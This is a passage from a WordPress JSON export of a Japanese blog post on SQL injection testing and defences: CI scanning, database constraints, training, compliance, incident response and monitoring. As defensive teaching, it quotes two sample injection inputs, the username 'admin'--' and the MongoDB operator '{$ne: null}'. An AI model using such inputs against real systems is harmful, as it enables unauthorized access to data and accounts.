\u306a\u3069\u306e\u30c4\u30fc\u30eb\u306f\u3001\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3092\u89e3\u6790\u3057\u3066SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u30ea\u30b9\u30af\u304c\u3042\u308b\u30b3\u30fc\u30c9\u30d1\u30bf\u30fc\u30f3\u3092\u691c\u51fa\u3057\u307e\u3059\u3002\u3053\u308c\u3089\u3092CI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u306b\u7d44\u307f\u8fbc\u3080\u3053\u3068\u3067\u3001\u8106\u5f31\u306a\u30b3\u30fc\u30c9\u304c\u30e1\u30a4\u30f3\u30d6\u30e9\u30f3\u30c1\u306b\u30de\u30fc\u30b8\u3055\u308c\u308b\u3053\u3068\u3092\u9632\u304e\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u8a2d\u8a08\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8003\u616e<\/strong>\u3082\u91cd\u8981\u3067\u3059\u3002\u30c6\u30fc\u30d6\u30eb\u8a2d\u8a08\u6642\u306b\u3001\u5404\u30ab\u30e9\u30e0\u306b\u9069\u5207\u306a\u30c7\u30fc\u30bf\u578b\u3068\u5236\u7d04\u3092\u8a2d\u5b9a\u3057\u307e\u3059\u3002CHECK\u5236\u7d04\u3001FOREIGN KEY\u5236\u7d04\u3001NOT NULL\u5236\u7d04\u306a\u3069\u3092\u6d3b\u7528\u3057\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30ec\u30d9\u30eb\u3067\u3082\u4e0d\u6b63\u306a\u30c7\u30fc\u30bf\u633f\u5165\u3092\u9632\u304e\u307e\u3059\u3002\u30d3\u30e5\u30fc\u3092\u4f7f\u7528\u3057\u3066\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u76f4\u63a5\u30c6\u30fc\u30d6\u30eb\u306b\u30a2\u30af\u30bb\u30b9\u305b\u305a\u3001\u5fc5\u8981\u306a\u30ab\u30e9\u30e0\u306e\u307f\u3092\u516c\u958b\u3059\u308b\u8a2d\u8a08\u3082\u6709\u52b9\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6559\u80b2\u3068\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0<\/strong>\u306b\u3088\u308a\u3001\u958b\u767a\u30c1\u30fc\u30e0\u306e\u610f\u8b58\u3068\u30b9\u30ad\u30eb\u3092\u5411\u4e0a\u3055\u305b\u307e\u3059\u3002\u5b9a\u671f\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0\u3001\u5b9f\u969b\u306e\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u4e8b\u4f8b\u306e\u5171\u6709\u306a\u3069\u3092\u901a\u3058\u3066\u3001SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u5371\u967a\u6027\u3092\u4f53\u611f\u7684\u306b\u5b66\u3073\u307e\u3059\u3002\u65b0\u3057\u304f\u53c2\u52a0\u3057\u305f\u30e1\u30f3\u30d0\u30fc\u306b\u306f\u3001\u5fc5\u9808\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0\u3092\u53d7\u8b1b\u3055\u305b\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30b5\u30fc\u30c9\u30d1\u30fc\u30c6\u30a3\u30e9\u30a4\u30d6\u30e9\u30ea\u306e\u7ba1\u7406<\/strong>\u3082\u898b\u843d\u3068\u305b\u307e\u305b\u3093\u3002\u4f7f\u7528\u3057\u3066\u3044\u308bORM\u3084\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30c9\u30e9\u30a4\u30d0\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u6700\u65b0\u306b\u4fdd\u3061\u3001\u65e2\u77e5\u306e\u8106\u5f31\u6027\u3078\u306e\u5bfe\u5fdc\u3092\u78ba\u5b9f\u306b\u3057\u307e\u3059\u3002npm audit\u3001pip-audit \u306a\u3069\u306e\u4f9d\u5b58\u95a2\u4fc2\u7ba1\u7406\u30c4\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u3066\u3001\u8106\u5f31\u6027\u3092\u542b\u3080\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u65e9\u671f\u306b\u691c\u51fa\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u9ad8\u5ea6\u306a\u653b\u6483\u30b7\u30ca\u30ea\u30aa\u3068\u5bfe\u7b56<\/h2>\n\n\n\n<p><strong>Second Order SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3<\/strong>\u306f\u3001\u7279\u306b\u691c\u51fa\u304c\u56f0\u96e3\u306a\u653b\u6483\u624b\u6cd5\u3067\u3059\u3002\u3053\u306e\u653b\u6483\u3067\u306f\u3001\u60aa\u610f\u306e\u3042\u308b\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u6700\u521d\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u4fdd\u5b58\u3055\u308c\u3001\u5f8c\u7d9a\u306e\u51e6\u7406\u3067\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001\u30e6\u30fc\u30b6\u30fc\u767b\u9332\u6642\u306b\u30e6\u30fc\u30b6\u30fc\u540d\u3068\u3057\u3066\u300cadmin&#8217;&#8211;\u300d\u3092\u4fdd\u5b58\u3057\u3001\u5f8c\u3067\u3053\u306e\u30e6\u30fc\u30b6\u30fc\u540d\u3092\u4f7f\u7528\u3057\u305f\u30af\u30a8\u30ea\u3067\u7ba1\u7406\u8005\u6a29\u9650\u3092\u53d6\u5f97\u3057\u307e\u3059\u3002\u5bfe\u7b56\u3068\u3057\u3066\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u4fdd\u5b58\u3059\u308b\u6bb5\u968e\u3067\u306e\u30b5\u30cb\u30bf\u30a4\u30bc\u30fc\u30b7\u30e7\u30f3\u3060\u3051\u3067\u306a\u304f\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u304b\u3089\u53d6\u5f97\u3057\u305f\u30c7\u30fc\u30bf\u3092\u4f7f\u7528\u3059\u308b\u969b\u306b\u3082\u9069\u5207\u306a\u30a8\u30b9\u30b1\u30fc\u30d7\u51e6\u7406\u3092\u5b9f\u65bd\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>NoSQL Injection<\/strong>\u3082\u8fd1\u5e74\u5897\u52a0\u3057\u3066\u3044\u307e\u3059\u3002MongoDB\u3001CouchDB \u306a\u3069\u306e\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3082\u3001\u4e0d\u9069\u5207\u306a\u5b9f\u88c5\u306b\u3088\u308a\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u653b\u6483\u306e\u5bfe\u8c61\u3068\u306a\u308a\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001MongoDB\u306e\u30af\u30a8\u30ea\u306b\u76f4\u63a5JavaScript\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u7d44\u307f\u8fbc\u3080\u3068\u3001\u300c{$ne: null}\u300d\u306e\u3088\u3046\u306a\u6f14\u7b97\u5b50\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002NoSQL\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3067\u3082\u3001\u30d1\u30e9\u30e1\u30fc\u30bf\u5316\u3055\u308c\u305f\u30af\u30a8\u30ea\u306e\u4f7f\u7528\u3068\u53b3\u683c\u306a\u5165\u529b\u691c\u8a3c\u304c\u5fc5\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u30b3\u30f3\u30d7\u30e9\u30a4\u30a2\u30f3\u30b9\u3068\u76e3\u67fb<\/h2>\n\n\n\n<p><strong>\u5b9a\u671f\u7684\u306a\u8106\u5f31\u6027\u8a3a\u65ad<\/strong>\u306f\u3001\u30b3\u30f3\u30d7\u30e9\u30a4\u30a2\u30f3\u30b9\u8981\u4ef6\u306e\u4e00\u90e8\u3068\u3057\u3066\u5b9f\u65bd\u3057\u307e\u3059\u3002PCI DSS\u3067\u306f\u56db\u534a\u671f\u3054\u3068\u306e\u30b9\u30ad\u30e3\u30f3\u3001\u5e74\u6b21\u306e\u30da\u30cd\u30c8\u30ec\u30fc\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u304c\u8981\u6c42\u3055\u308c\u307e\u3059\u3002ISO 27001\u3084SOC 2\u306e\u8a8d\u8a3c\u53d6\u5f97\u3092\u76ee\u6307\u3059\u5834\u5408\u3082\u3001\u5b9a\u671f\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a55\u4fa1\u304c\u5fc5\u9808\u3067\u3059\u3002\u5916\u90e8\u306e\u5c02\u9580\u6a5f\u95a2\u306b\u3088\u308b\u7b2c\u4e09\u8005\u8a3a\u65ad\u3092\u53d7\u3051\u308b\u3053\u3068\u3067\u3001\u5ba2\u89b3\u7684\u306a\u8a55\u4fa1\u3068\u65b0\u3057\u3044\u8996\u70b9\u304b\u3089\u306e\u8106\u5f31\u6027\u767a\u898b\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u5bfe\u5fdc\u8a08\u753b<\/strong>\u306e\u7b56\u5b9a\u3082\u91cd\u8981\u3067\u3059\u3002SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u653b\u6483\u304c\u6210\u529f\u3057\u305f\u5834\u5408\u306e\u5bfe\u5fdc\u624b\u9806\u3092\u4e8b\u524d\u306b\u6587\u66f8\u5316\u3057\u307e\u3059\u3002\u521d\u52d5\u5bfe\u5fdc\u3001\u5f71\u97ff\u7bc4\u56f2\u306e\u7279\u5b9a\u3001\u8a3c\u62e0\u4fdd\u5168\u3001\u30b7\u30b9\u30c6\u30e0\u5fa9\u65e7\u3001\u518d\u767a\u9632\u6b62\u7b56\u306e\u5b9f\u65bd\u3001\u95a2\u4fc2\u8005\u3078\u306e\u5831\u544a\u306a\u3069\u3001\u5404\u6bb5\u968e\u3067\u306e\u8cac\u4efb\u8005\u3068\u624b\u9806\u3092\u660e\u78ba\u306b\u3057\u307e\u3059\u3002\u5b9a\u671f\u7684\u306a\u8a13\u7df4\u306b\u3088\u308a\u3001\u5b9f\u969b\u306e\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u6642\u306b\u8fc5\u901f\u304b\u3064\u9069\u5207\u306b\u5bfe\u5fdc\u3067\u304d\u308b\u4f53\u5236\u3092\u69cb\u7bc9\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30ed\u30b0\u3068\u30e2\u30cb\u30bf\u30ea\u30f3\u30b0<\/strong>\u306b\u3088\u308a\u3001\u653b\u6483\u306e\u5146\u5019\u3092\u65e9\u671f\u306b\u691c\u51fa\u3057\u307e\u3059\u3002Web Application Firewall \u306e\u30ed\u30b0\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30af\u30a8\u30ea\u30ed\u30b0\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30ed\u30b0\u3092\u7d71\u5408\u7684\u306b\u5206\u6790\u3057\u3001\u7570\u5e38\u306a\u30d1\u30bf\u30fc\u30f3\u3092\u691c\u51fa\u3057\u307e\u3059\u3002\u691c\u51fa\u3057\u305f\u7570\u5e38\u306f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30aa\u30da\u30ec\u30fc\u30b7\u30e7\u30f3\u30bb\u30f3\u30bf\u30fc\uff08SOC\uff09\u3084\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u5bfe\u5fdc\u30c1\u30fc\u30e0\u306b\u81ea\u52d5\u7684\u306b\u30a8\u30b9\u30ab\u30ec\u30fc\u30b7\u30e7\u30f3\u3055\u308c\u308b\u4ed5\u7d44\u307f\u3092\u69cb\u7bc9\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u307e\u3068\u3081<\/h2>\n\n\n\n<p><strong>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8<\/strong>\u306f\u3001Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u78ba\u4fdd\u3059\u308b\u305f\u3081\u306e\u91cd\u8981\u306a\u691c\u8a3c\u30d7\u30ed\u30bb\u30b9\u3067\u3059\u3002\u9069\u5207\u306a\u30c6\u30b9\u30c8\u624b\u6cd5\u3068\u7d99\u7d9a\u7684\u306a\u5b9f\u65bd\u306b\u3088\u308a\u3001\u6df1\u523b\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u3092\u9632\u6b62\u3057\u3001\u5b89\u5168\u306a\u30b7\u30b9\u30c6\u30e0\u904b\u7528\u3092\u5b9f\u73fe\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p>\u6210\u529f\u3059\u308bSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u5bfe\u7b56\u306b\u306f\u3001<strong>\u6280\u8853\u7684\u5bfe\u7b56\u3001\u30d7\u30ed\u30bb\u30b9\u3001\u4eba\u6750\u6559\u80b2\u306e\u4e09\u4f4d\u4e00\u4f53<\/strong>\u304c\u4e0d\u53ef\u6b20\u3067\u3059\u3002\u6280\u8853\u9762\u3067\u306f\u3001\u30d1\u30e9\u30e1\u30fc\u30bf\u5316\u30af\u30a8\u30ea\u3068ORM\u306e\u6d3b\u7528\u304c\u57fa\u672c\u3067\u3042\u308a\u3001\u591a\u5c64\u9632\u5fa1\u306e\u8003\u3048\u65b9\u3067\u8907\u6570\u306e\u9632\u5fa1\u30ec\u30a4\u30e4\u30fc\u3092\u69cb\u7bc9\u3057\u307e\u3059\u3002\u30d7\u30ed\u30bb\u30b9\u9762\u3067\u306f\u3001\u958b\u767a\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u5168\u4f53\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u3092\u7d44\u307f\u8fbc\u307f\u3001\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc\u3068\u81ea\u52d5\u5316\u30c4\u30fc\u30eb\u306e\u6d3b\u7528\u306b\u3088\u308a\u7d99\u7d9a\u7684\u306a\u54c1\u8cea\u5411\u4e0a\u3092\u56f3\u308a\u307e\u3059\u3002\u4eba\u6750\u9762\u3067\u306f\u3001\u5b9a\u671f\u7684\u306a\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0\u3068\u610f\u8b58\u5553\u767a\u306b\u3088\u308a\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6587\u5316\u3092\u7d44\u7e54\u306b\u6839\u4ed8\u304b\u305b\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u7d99\u7d9a\u7684\u306a\u6539\u5584<\/strong>\u304c\u9577\u671f\u7684\u306a\u6210\u529f\u306e\u9375\u3067\u3059\u3002\u65b0\u3057\u3044\u653b\u6483\u624b\u6cd5\u306e\u7814\u7a76\u3001\u30c4\u30fc\u30eb\u3068\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3001\u696d\u754c\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u306e\u63a1\u7528\u306a\u3069\u3001\u5e38\u306b\u6700\u65b0\u306e\u60c5\u5831\u3092\u30ad\u30e3\u30c3\u30c1\u30a2\u30c3\u30d7\u3057\u3001\u9632\u5fa1\u7b56\u3092\u9032\u5316\u3055\u305b\u307e\u3059\u3002\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u4e00\u5ea6\u9054\u6210\u3059\u308c\u3070\u7d42\u308f\u308a\u3067\u306f\u306a\u304f\u3001\u7d99\u7d9a\u7684\u306a\u6295\u8cc7\u3068\u6539\u5584\u304c\u5fc5\u8981\u306a\u30d7\u30ed\u30bb\u30b9\u3067\u3042\u308b\u3053\u3068\u3092\u8a8d\u8b58\u3057\u3001\u7d44\u7e54\u5168\u4f53\u3067\u53d6\u308a\u7d44\u3080\u59ff\u52e2\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<p>\u958b\u767a\u30c1\u30fc\u30e0\u306f\u672c\u8a18\u4e8b\u3067\u7d39\u4ecb\u3057\u305f\u624b\u6cd5\u3092\u53c2\u8003\u306b\u3001\u5305\u62ec\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u3092\u5b9f\u8df5\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u4fe1\u983c\u306b\u5fdc\u3048\u308b\u5b89\u5168\u306a\u30b7\u30b9\u30c6\u30e0\u3092\u69cb\u7bc9\u3059\u308b\u3053\u3068\u3092\u63a8\u5968\u3057\u307e\u3059\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3068\u306f SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306f\u3001Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u5bfe\u3057\u3066\u4e0d\u6b63\u306aSQL\u6587\u3092\u5b9f\u884c\u3055\u305b\u308b\u653b\u6483\u624b\u6cd5\u3067\u3059\u3002\u653b\u6483\u8005\u306f\u5165\u529b\u30d5\u30a9\u30fc\u30e0\u3084URL\u30d1\u30e9\u30e1\u30fc\u30bf\u306b\u60aa\u610f\u306e\u3042\u308bSQL\u6587\u3092\u633f\u5165\u3057 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":100,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"swell_btn_cv_data":"","footnotes":""},"categories":[82,80],"tags":[194,191,188,103,192],"class_list":["post-232","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-web-application-testing","category-security-test","tag-sql","tag-web","tag-188","tag-103","tag-192"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/minna-systems.co.jp\/test\/wp-json\/wp\/v2\/posts\/232","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/minna-systems.co.jp\/test\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/minna-systems.co.jp\/test\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/minna-systems.co.jp\/test\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/minna-systems.co.jp\/test\/wp-json\/wp\/v2\/comments?post=232"}],"version-history":[{"count":2,"href":"https:\/\/minna-systems.co.jp\/test\/wp-json\/wp\/v2\/posts\/232\/revisions"}],"predecessor-version":[{"id":1337,"href":"https:\/\/minna-systems.co.jp\/test\/wp-json\/wp\/v2\/posts\/232\/revisions\/1337"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/minna-systems.co.jp\/test\/wp-json\/wp\/v2\/media\/100"}],"wp:attachment":[{"href":"https:\/\/minna-systems.co.jp\/test\/wp-json\/wp\/v2\/media?parent=232"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/minna-systems.co.jp\/test\/wp-json\/wp\/v2\/categories?post=232"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/minna-systems.co.jp\/test\/wp-json\/wp\/v2\/tags?post=232"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}